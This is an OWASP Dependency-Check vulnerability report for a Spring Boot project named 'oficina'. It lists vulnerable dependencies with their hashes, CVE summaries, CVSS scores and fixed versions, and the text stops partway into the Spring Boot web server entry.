



Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies; false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided is at the user's risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.

[How to read the report](#) | [Suppressing false positives](#) | [Getting Help: github issues](#)

Project: oficina

com.techchallenge:oficina:0.0.1-SNAPSHOT

Scan Information ([show all](#)):

- *dependency-check version:* 12.2.0
- *Report Generated On:* Sun, 3 May 2026 19:51:51 -0300
- *Dependencies Scanned:* 113 (69 unique)
- *Vulnerable Dependencies:* 11
- *Vulnerabilities Found:* 64
- *Vulnerabilities Suppressed:* 0
- ...

Summary

Summary of Vulnerable Dependencies ([click to show all](#))

Dependency	Vulnerability IDs	Package	Highest Severity	CVE Count	Confidence	
jackson-core-3.0.4.jar	cpe:2.3:a:fasterxml:jackson-core:3.0.4:*:*:*:*:*	pkg:maven/tools.jackson.core/jackson-core@3.0.4	HIGH	1	Highest	⌵
jackson-databind-3.0.4.jar	cpe:2.3:a:fasterxml:jackson-core:3.0.4:*:*:*:*:* cpe:2.3:a:fasterxml:jackson-databind:3.0.4:*:*:*:*:*	pkg:maven/tools.jackson.core/jackson-databind@3.0.4	HIGH	1	Highest	⌵
log4j-api-2.25.3.jar	cpe:2.3:a:apache:log4j:2.25.3:*:*:*:*:*	pkg:maven/org.apache.logging.log4j/log4j-api@2.25.3	MEDIUM	3	Highest	⌵
spring-boot-data-commons-4.0.3.jar	cpe:2.3:a:pivotal:software:spring_data_commons:4.0.3:*:*:*:*:* cpe:2.3:a:vmware:spring_boot:4.0.3:*:*:*:*:*	pkg:maven/org.springframework.boot/spring-boot-data-commons@4.0.3	CRITICAL	7	Highest	⌵
spring-boot-sql-4.0.3.jar	cpe:2.3:a:vmware:spring_boot:4.0.3:*:*:*:*:* cpe:2.3:a:vmware:sql_project:www-sql:4.0.3:*:*:*:*:*	pkg:maven/org.springframework.boot/spring-boot-sql@4.0.3	CRITICAL	7	Highest	⌵
spring-boot-web-server-4.0.3.jar	cpe:2.3:a:vmware:spring_boot:4.0.3:*:*:*:*:*	pkg:maven/org.springframework.boot/spring-boot-web-server@4.0.3	CRITICAL	7	Highest	⌵
spring-core-7.0.5.jar	cpe:2.3:a:pivotal:software:spring_framework:7.0.5:*:*:*:*:* cpe:2.3:a:springsource:spring_framework:7.0.5:*:*:*:*:* cpe:2.3:a:vmware:spring_framework:7.0.5:*:*:*:*:*	pkg:maven/org.springframework/spring-core@7.0.5	MEDIUM	2	Highest	⌵
spring-security-core-7.0.3.jar	cpe:2.3:a:pivotal:software:spring_security:7.0.3:*:*:*:*:* cpe:2.3:a:vmware:spring_security:7.0.3:*:*:*:*:*	pkg:maven/org.springframework.security/spring-security-core@7.0.3	CRITICAL	7	Highest	⌵
swagger-ui-5.18.2.jar swagger-ui-bundle.js		pkg:javascript/DOMPurify@3.1.6	MEDIUM	10		⌵
swagger-ui-5.18.2.jar swagger-ui-es-bundle.js		pkg:javascript/DOMPurify@3.1.6	MEDIUM	10		⌵
tomcat-embed-core-11.0.18.jar	cpe:2.3:a:apache:tomcat:11.0.18:*:*:*:*:* cpe:2.3:a:apache:tomcat:apache_tomcat:11.0.18:*:*:*:*:*	pkg:maven/org.apache.tomcat.embed/tomcat-embed-core@11.0.18	CRITICAL	9	Highest	⌵

Dependencies (vulnerable)

jackson-core-3.0.4.jar

Description:

Core Jackson processing abstractions (aka Streaming API), implementation for JSON

License:

The Apache Software License, Version 2.0: <https://www.apache.org/licenses/LICENSE-2.0.txt>

File Path: C:\Users\Lucas Donizeti\m2\repository\tools\jackson\core\jackson-core\3.0.4\jackson-core-3.0.4.jar

MD5: db56f120ad3d1bff047bf6390db7ed16

SHA1: c5be0f5814e161030c29fc48b92c27331729ab7f

SHA256: e07428df3c608f90a39f030d14755cea514b944e8148b2f95c9521e082c6959b

Referenced In Project/Scope: oficina:compile

Included by: pkg:maven/org.springframework.boot/spring-boot-starter-web@4.0.3

Evidence

Identifiers

- pkg:maven/tools.jackson.core/jackson-core@3.0.4 (Confidence:High)
- [cpe:2.3:a:fasterxml:jackson-core:3.0.4:****:*](#) (Confidence:Highest) suppress

Published Vulnerabilities

[CVE-2026-29062](#) suppress

jackson-core contains core low-level incremental ("streaming") parser and generator abstractions used by Jackson Data Processor. From version 3.0.0 to before version 3.1.0, the UTF8DataInputJsonParser, which is used when parsing from a java.io.DataInput source, bypasses the maxNestingDepth constraint (default: 500) defined in StreamReadConstraints. A similar issue was found in ReaderBasedJsonParser. This allows a user to supply a JSON document with excessive nesting, which can cause a StackOverflowError when the structure is processed, leading to a Denial of Service (DoS). This issue has been patched in version 3.1.0.

CWE-770 Allocation of Resources Without Limits or Throttling

CVSSv4:

- Base Score: HIGH (8.7)
- Vector:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX/MSI:X/MSA

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:3.9/RC:R/MAV:A

References:

- security-advisories@github.com - [ISSUE_TRACKING_PATCH](#)
- security-advisories@github.com - [PATCH](#)
- security-advisories@github.com - [PATCH_VENDOR_ADVISORY](#)

Vulnerable Software & Versions:

- [cpe:2.3:a:fasterxml:jackson-core:****:*](#) versions from (including) 3.0.0: versions up to (excluding) 3.1.0

jackson-databind-3.0.4.jar

Description:

General data-binding functionality for Jackson: works on core streaming API

License:

The Apache Software License, Version 2.0: <https://www.apache.org/licenses/LICENSE-2.0.txt>

File Path: C:\Users\Lucas Donizeti\m2repository\tools\jackson\core\jackson-databind\3.0.4\jackson-databind-3.0.4.jar

MD5: ad389e5acc898f242915530c8d30ab1a

SHA1: b5f818b0b9c79d344aede4b87064cc0e323f9ef2

SHA256: bd2159939b413651415bb9c4e08f14aac75748008af9bb95855918a3bd92474d

Referenced In Project/Scope: oficina:compile

Included by: pkg:maven/org.springframework.boot/spring-boot-starter-web@4.0.3

Evidence

Identifiers

- pkg:maven/tools.jackson.core/jackson-databind@3.0.4 (Confidence:High)
- [cpe:2.3:a:fasterxml:jackson-core:3.0.4:****:*](#) (Confidence:Highest) suppress
- [cpe:2.3:a:fasterxml:jackson-databind:3.0.4:****:*](#) (Confidence:Highest) suppress

Published Vulnerabilities

[CVE-2026-29062](#) suppress

jackson-core contains core low-level incremental ("streaming") parser and generator abstractions used by Jackson Data Processor. From version 3.0.0 to before version 3.1.0, the UTF8DataInputJsonParser, which is used when parsing from a java.io.DataInput source, bypasses the maxNestingDepth constraint (default: 500) defined in StreamReadConstraints. A similar issue was found in ReaderBasedJsonParser. This allows a user to supply a JSON document with excessive nesting, which can cause a StackOverflowError when the structure is processed, leading to a Denial of Service (DoS). This issue has been patched in version 3.1.0.

CWE-770 Allocation of Resources Without Limits or Throttling

CVSSv4:

- Base Score: HIGH (8.7)
- Vector:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX/MSI:X/MSA

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:3.9/RC:R/MAV:A

References:

- security-advisories@github.com - [ISSUE_TRACKING_PATCH](#)
- security-advisories@github.com - [PATCH](#)
- security-advisories@github.com - [PATCH_VENDOR_ADVISORY](#)

Vulnerable Software & Versions:

- [cpe:2.3:a:fasterxml:jackson-core:*:*:*:*:* versions from \(including\) 3.0.0: versions up to \(excluding\) 3.1.0](#)

log4j-api-2.25.3.jar

Description:

The logging API of the Log4j project.
Library and application code can log through this API.
It contains a simple built-in implementation ("SimpleLogger") for trivial use cases.
Production applications are recommended to use Log4j API in combination with a fully-fledged implementation, such as Log4j Core.

License:

Apache-2.0: <https://www.apache.org/licenses/LICENSE-2.0.txt>

File Path: C:\Users\Lucas Donizeti\m2repository\org\apache\logging\log4j\log4j-api\2.25.3\log4j-api-2.25.3.jar

MD5: 7061652b4274beaa657ec908e83f491

SHA1: fb385330d89c2d61058ef649403f214633569205

SHA256: e886682920fa0fb9d6eb6395dcb4de088443f8646c89c5e5846e168e327f406f

Referenced In Project/Scope: oficina:compile

Included by: pkg:maven/org.springframework.boot/spring-boot-starter-logging@4.0.3

Evidence

Identifiers

- pkg:maven/org.apache.logging.log4j/log4j-api@2.25.3 (Confidence:High)
- [cpe:2.3:a:apache:log4j:2.25.3:*:*:*:*](#) (Confidence:Highest) suppress

Published Vulnerabilities

[CVE-2026-34478](#) suppress

Apache Log4j Core's Rfc5424Layout <https://logging.apache.org/log4j/2.x/manual/layouts.html#RFC5424Layout> , in versions 2.21.0 through 2.25.3, is vulnerable to log injection via CRLF sequences due to undocumented renames of security-relevant configuration attributes.

Two distinct issues affect users of stream-based syslog services who configure Rfc5424Layout directly:

- * The newLineEscape attribute was silently renamed, causing newline escaping to stop working for users of TCP framing (RFC 6587), exposing them to CRLF injection in log output.
- * The useTlsMessageFormat attribute was silently renamed, causing users of TLS framing (RFC 5425) to be silently downgraded to unframed TCP (RFC 6587), without newline escaping.

Users of the SyslogAppender are not affected, as its configuration attributes were not modified.

Users are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue.

CWE-117 Improper Output Neutralization for Logs, CWE-684 Incorrect Provision of Specified Functionality

CVSSv4:

- Base Score: MEDIUM (6.9)
- Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:3.9/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST_THIRD_PARTY_ADVISORY](#)
- security@apache.org - [ISSUE_TRACKING_PATCH](#)
- security@apache.org - [MAILING_LIST_VENDOR_ADVISORY](#)
- security@apache.org - [PRODUCT](#)
- security@apache.org - [TECHNICAL_DESCRIPTION](#)
- security@apache.org - [VENDOR_ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:log4j:*:*:*:*:* versions from \(including\) 2.21.0: versions up to \(excluding\) 2.25.4](#)
- ...

[CVE-2026-34480](#) suppress

Apache Log4j Core's XmlLayout <https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout> , in versions up to and including 2.25.3, fails to sanitize characters forbidden by the XML 1.0 specification <https://www.w3.org/TR/xml/#charsets> producing invalid XML output whenever a log message or MDC value contains such characters.

The impact depends on the StAX implementation in use:

- * JRE built-in StAX: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records.
- * Alternative StAX implementations (e.g., Woodstox <https://github.com/FasterXML/woodstox> , a transitive dependency of the Jackson XML Dataformat module):

An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j's internal status logger.

Users are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output.

CWE-116 Improper Encoding or Escaping of Output

CVSSv4:

- Base Score: MEDIUM (6.9)
- Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX/MSI:X/MSA

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:3.9/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING LIST,THIRD PARTY ADVISORY](#)
- security@apache.org - [ISSUE TRACKING,PATCH](#)
- security@apache.org - [MAILING LIST,VENDOR ADVISORY](#)
- security@apache.org - [PRODUCT](#)
- security@apache.org - [TECHNICAL DESCRIPTION](#)
- security@apache.org - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: [\(show all\)](#)

- [cpe:2.3:a:apache:log4j:.*:.*:.*:.*:.* versions from \(including\) 2.0: versions up to \(excluding\) 2.25.4](#)
- ...

[CVE-2026-34481](#) [suppress](#)

Apache Log4j's JsonTemplateLayout <https://logging.apache.org/log4j/2.x/manual/json-template-layout.html> , in versions up to and including 2.25.3, produces invalid JSON output when log events contain non-finite floating-point values (NaN, Infinity, or -Infinity), which are prohibited by RFC 8259. This may cause downstream log processing systems to reject or fail to index affected records.

An attacker can exploit this issue only if both of the following conditions are met:

- * The application uses JsonTemplateLayout.
- * The application logs a MapMessage containing an attacker-controlled floating-point value.

Users are advised to upgrade to Apache Log4j JSON Template Layout 2.25.4, which corrects this issue.

CWE-116 Improper Encoding or Escaping of Output

CVSSv4:

- Base Score: MEDIUM (6.3)
- Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX/MSI:X/MSA

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:3.9/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING LIST,THIRD PARTY ADVISORY](#)
- security@apache.org - [ISSUE TRACKING](#)
- security@apache.org - [MAILING LIST,VENDOR ADVISORY](#)
- security@apache.org - [PRODUCT](#)
- security@apache.org - [TECHNICAL DESCRIPTION](#)
- security@apache.org - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: [\(show all\)](#)

- [cpe:2.3:a:apache:log4j:.*:.*:.*:.*:.* versions from \(including\) 2.14.0: versions up to \(excluding\) 2.25.4](#)
- ...

spring-boot-data-commons-4.0.3.jar

Description:

Spring Boot Data Commons

License:

Apache License, Version 2.0: <https://www.apache.org/licenses/LICENSE-2.0>

File Path: C:\Users\Lucas Donizeti\m2repository\org\springframework\boot\spring-boot-data-commons\4.0.3\spring-boot-data-commons-4.0.3.jar

MD5: d310ecd6ab5f9375b9a3491cd5831dbb

SHA1: 0f8aae3b50818226648f19b1040cb720ee422c16

SHA256:35149fdc28bfd82e5d95988c285129b59d4c57bc58b8893b10db31bae93fd8ee

Referenced In Project/Scope: oficina:compile

Included by: pkg:maven/org.springframework.boot/spring-boot-starter-data-jpa@4.0.3

Evidence

Identifiers

- pkg:maven/org.springframework.boot/spring-boot-data-commons@4.0.3 (Confidence:High)
- [cpe:2.3:a:pivotal:software:spring_data_commons:4.0.3:.*:.*:.*:.* \(Confidence:Highest\)](#) [suppress](#)
- [cpe:2.3:a:vmware:spring_boot:4.0.3:.*:.*:.*:.* \(Confidence:Highest\)](#) [suppress](#)

Published Vulnerabilities[CVE-2026-40976](#)

In certain circumstances, Spring Boot's default web security is ineffective allowing unauthorized access to all endpoints. For an application to be vulnerable, it must: be a servlet-based web application; have no Spring Security configuration of its own and rely on the default web security filter chain; depend on spring-boot-actuator-autoconfigure; not depend on spring-boot-health. If any of the above does not apply, the application is not vulnerable.

Affected: Spring Boot 4.0.0–4.0.5; upgrade to 4.0.6 or later per vendor advisory.

CWE-862 Missing Authorization

CVSSv3:

- Base Score: CRITICAL (9.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:3.9/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions:

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)

[CVE-2026-22731](#)

Spring Boot applications with Actuator can be vulnerable to an "Authentication Bypass" vulnerability when an application endpoint that requires authentication is declared under a specific path, already configured for a Health Group additional path.

This issue affects Spring Boot: from 4.0 before 4.0.3, from 3.5 before 3.5.11, from 3.4 before 3.4.15.

This CVE is similar but not equivalent to CVE-2026-22733, as the conditions for exploit and vulnerable versions are different.

CWE-306 Missing Authentication for Critical Function, CWE-288 Authentication Bypass Using an Alternate Path or Channel

CVSSv3:

- Base Score: HIGH (8.1)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:2.2/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.4](#)
- ...

[CVE-2026-22733](#)

Spring Boot applications with Actuator can be vulnerable to an "Authentication Bypass" vulnerability when an application endpoint that requires authentication is declared under the path used by the CloudFoundry Actuator endpoints. This issue affects Spring Security: from 4.0.0 through 4.0.3, from 3.5.0 through 3.5.11, from 3.4.0 through 3.4.14, from 3.3.0 through 3.3.17, from 2.7.0 through 2.7.31.

CWE-288 Authentication Bypass Using an Alternate Path or Channel

CVSSv3:

- Base Score: HIGH (8.1)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:2.2/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.4](#)
- ...

[CVE-2026-40972](#)

An attacker on the same network as the remote application may be able to utilize a timing attack to discover information about the remote secret. In extreme circumstances this could result in the attacker determining the secret and uploading changed classes, thereby achieving remote code execution in the remote application.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); DevTools remote secret comparison. Versions that are no longer supported are also affected per vendor advisory.

CWE-208 Observable Timing Discrepancy

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:1.6/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)
- ...

[CVE-2026-40975](#)

Values produced by `${random.value}` are not suitable for use as secrets. `${random.uuid}` is not affected. `${random.int}` and `${random.long}` should never be used for secrets as they are numeric values with a predictable range.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); random value property source / weak PRNG for secrets. Versions that are no longer supported are also affected per vendor advisory.

CWE-330 Use of Insufficiently Random Values

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:3.9/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)
- ...

[CVE-2026-40973](#) suppress

A local attacker on the same host as the application may be able to take control of the directory used by 'ApplicationTemp'. When 'server.servlet.session.persistent' is set to 'true' and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / 'ApplicationTemp' ownership verification. Versions that are no longer supported are also affected per vendor advisory.

CWE-377 Insecure Temporary File

CVSSv3:

- Base Score: HIGH (7.0)
- Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H/E:1.0/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)
- ...

[CVE-2026-40977](#) suppress

When an application is configured to use 'ApplicationPidFileWriter', a local attacker with write access to the PID file's location can corrupt one file on the host each time the application is started.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); PID file / symlink behavior ('ApplicationPidFileWriter'). Versions that are no longer supported are also affected per vendor advisory.

CWE-59 Improper Link Resolution Before File Access ('Link Following')

CVSSv3:

- Base Score: MEDIUM (6.7)
- Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:0.8/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)
- ...

spring-boot-sql-4.0.3.jar

Description:

Spring Boot SQL

License:

Apache License, Version 2.0: <https://www.apache.org/licenses/LICENSE-2.0>

File Path: C:\Users\Lucas Donizeti\m2repository\org\springframework\boot\spring-boot-sql\4.0.3\spring-boot-sql-4.0.3.jar

MD5: c864964b493589933e1ff4d835fb509d

SHA1: afe39a694d946d9fc185922fd755e7d3fe197571

SHA256: 78a46656f34b3e6d44b3696ab2684f89563befe2f02c1a4d45fe25c5740489ce

Referenced In Project/Scope: oficina:compile

Included by: pkg:maven/org.springframework.boot/spring-boot-starter-data-jpa@4.0.3

Evidence

Identifiers

- pkg:maven/org.springframework.boot/spring-boot-sql@4.0.3 (Confidence:High)
- [cpe:2.3:a:vmware:spring_boot:4.0.3:*:*:*:* \(Confidence:Highest\)](#) suppress
- [cpe:2.3:a:www-sql_project:www-sql:4.0.3:*:*:*:* \(Confidence:Highest\)](#) suppress

Published Vulnerabilities

[CVE-2026-40976](#) suppress

In certain circumstances, Spring Boot's default web security is ineffective allowing unauthorized access to all endpoints. For an application to be vulnerable, it must: be a servlet-based web application; have no Spring Security configuration of its own and rely on the default web security filter chain; depend on spring-boot-actuator-autoconfigure; not depend on spring-boot-health. If any of the above does not apply, the application is not vulnerable.

Affected: Spring Boot 4.0.0–4.0.5; upgrade to 4.0.6 or later per vendor advisory.

CWE-862 Missing Authorization

CVSSv3:

- Base Score: CRITICAL (9.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:3.9/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions:

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)

[CVE-2026-22731](#)

Spring Boot applications with Actuator can be vulnerable to an "Authentication Bypass" vulnerability when an application endpoint that requires authentication is declared under a specific path, already configured for a Health Group additional path.

This issue affects Spring Boot: from 4.0 before 4.0.3, from 3.5 before 3.5.11, from 3.4 before 3.4.15.

This CVE is similar but not equivalent to CVE-2026-22733, as the conditions for exploit and vulnerable versions are different.

CWE-306 Missing Authentication for Critical Function, CWE-288 Authentication Bypass Using an Alternate Path or Channel

CVSSv3:

- Base Score: HIGH (8.1)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:2.2/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.4](#)
- ...

[CVE-2026-22733](#)

Spring Boot applications with Actuator can be vulnerable to an "Authentication Bypass" vulnerability when an application endpoint that requires authentication is declared under the path used by the CloudFoundry Actuator endpoints. This issue affects Spring Security: from 4.0.0 through 4.0.3, from 3.5.0 through 3.5.11, from 3.4.0 through 3.4.14, from 3.3.0 through 3.3.17, from 2.7.0 through 2.7.31.

CWE-288 Authentication Bypass Using an Alternate Path or Channel

CVSSv3:

- Base Score: HIGH (8.1)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:2.2/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.4](#)
- ...

[CVE-2026-40972](#)

An attacker on the same network as the remote application may be able to utilize a timing attack to discover information about the remote secret. In extreme circumstances this could result in the attacker determining the secret and uploading changed classes, thereby achieving remote code execution in the remote application.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); DevTools remote secret comparison. Versions that are no longer supported are also affected per vendor advisory.

CWE-208 Observable Timing Discrepancy

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:1.6/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)
- ...

[CVE-2026-40975](#)

Values produced by `${random.value}` are not suitable for use as secrets. `${random.uuid}` is not affected. `${random.int}` and `${random.long}` should never be used for secrets as they are numeric values with a predictable range.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); random value property source / weak PRNG for secrets. Versions that are no longer supported are also affected per vendor advisory.

CWE-330 Use of Insufficiently Random Values

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:3.9/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)
- ...

[CVE-2026-40973](#)

A local attacker on the same host as the application may be able to take control of the directory used by 'ApplicationTemp'. When 'server.servlet.session.persistent' is set to 'true' and the attack persists across application restarts, this may allow the attacker to read session information and

hijack authenticated users or deploy a gadget chain and execute code as the application's user.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.

CWE-377 Insecure Temporary File

CVSSv3:

- Base Score: HIGH (7.0)
- Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H/E:1.0/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)
- ...

[CVE-2026-40977](#) suppress

When an application is configured to use `ApplicationPidFileWriter`, a local attacker with write access to the PID file's location can corrupt one file on the host each time the application is started.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); PID file / symlink behavior (`ApplicationPidFileWriter`). Versions that are no longer supported are also affected per vendor advisory.

CWE-59 Improper Link Resolution Before File Access ('Link Following')

CVSSv3:

- Base Score: MEDIUM (6.7)
- Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:0.8/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)
- ...

spring-boot-web-server-4.0.3.jar

Description:

Spring Boot Web Server

License:

Apache License, Version 2.0: <https://www.apache.org/licenses/LICENSE-2.0>

